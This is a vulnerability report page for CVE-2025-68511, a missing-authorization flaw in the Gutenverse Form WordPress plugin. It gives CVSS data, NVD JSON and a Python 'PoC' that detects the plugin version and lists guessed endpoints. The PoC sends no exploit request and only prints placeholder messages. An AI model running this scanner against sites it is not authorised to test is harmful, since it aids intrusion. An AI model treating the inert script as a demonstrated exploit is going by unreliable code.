Security Vulnerability Report
中文
CVE-2025-68511 CVSS 6.5 MEDIUM

CVE-2025-68511

Published: 2025-12-24 13:16:21
Last Modified: 2026-04-27 19:16:27

Description

Missing Authorization vulnerability in Jegstudio Gutenverse Form gutenverse-form allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gutenverse Form: from n/a through <= 2.3.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Gutenverse Form <= 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68511 PoC - Gutenverse Form Broken Access Control # This PoC demonstrates the missing authorization vulnerability in Gutenverse Form import requests import sys # Configuration TARGET_URL = "https://vulnerable-site.com" # Replace with target URL WP_ADMIN_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php" def check_plugin_version(): """Check if Gutenverse Form plugin is installed and its version""" response = requests.get(f"{TARGET_URL}/wp-content/plugins/gutenverse-form/readme.txt") if response.status_code == 200: for line in response.text.split('\n'): if line.startswith('Stable tag:'): version = line.split(':')[1].strip() print(f"[*] Gutenverse Form version: {version}") return version return None def exploit_broken_access_control(): """Exploit the missing authorization vulnerability This PoC attempts to access admin functions with subscriber-level privileges. Adjust the payload based on the specific vulnerable endpoint identified. """ # Setup session with low-privilege user cookie session = requests.Session() # Step 1: Login as subscriber (low-privilege user) login_data = { 'log': 'subscriber_user', # Replace with actual username 'pwd': 'subscriber_password', # Replace with actual password 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Note: In real attack scenario, attacker would have valid low-privilege credentials # The vulnerability allows these credentials to perform admin actions print("[*] Attempting to exploit Broken Access Control vulnerability...") print("[*] Target: Gutenverse Form <= 2.3.1") print("[*] This PoC demonstrates unauthorized access to privileged functions") # Example vulnerable endpoint (specific endpoints vary by version) vulnerable_endpoints = [ '/wp-json/gutenverse/v1/form/export', '/wp-admin/admin-ajax.php?action=gutenverse_form_get_data', '/wp-admin/admin-ajax.php?action=gutenverse_form_export' ] for endpoint in vulnerable_endpoints: print(f"\n[*] Testing endpoint: {endpoint}") # In actual exploitation, attacker would send requests with low-privilege cookie # Server should reject, but vulnerable version may accept print("\n[!] Note: This is a demonstration script.") print("[!] Actual exploitation requires identifying specific vulnerable functions.") print("[!] Refer to Patchstack advisory for detailed exploitation steps.") return False def main(): print("="*60) print("CVE-2025-68511 PoC - Gutenverse Form Missing Authorization") print("="*60) version = check_plugin_version() if version: if tuple(map(int, version.split('.'))) <= (2, 3, 1): print("[!] Target is vulnerable (version <= 2.3.1)") exploit_broken_access_control() else: print("[-] Target may not be vulnerable (version > 2.3.1)") else: print("[-] Could not determine plugin version") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68511", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:20.900", "lastModified": "2026-04-27T19:16:26.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Jegstudio Gutenverse Form gutenverse-form allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gutenverse Form: from n/a through <= 2.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gutenverse-form/vulnerability/wordpress-gutenverse-form-plugin-2-3-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}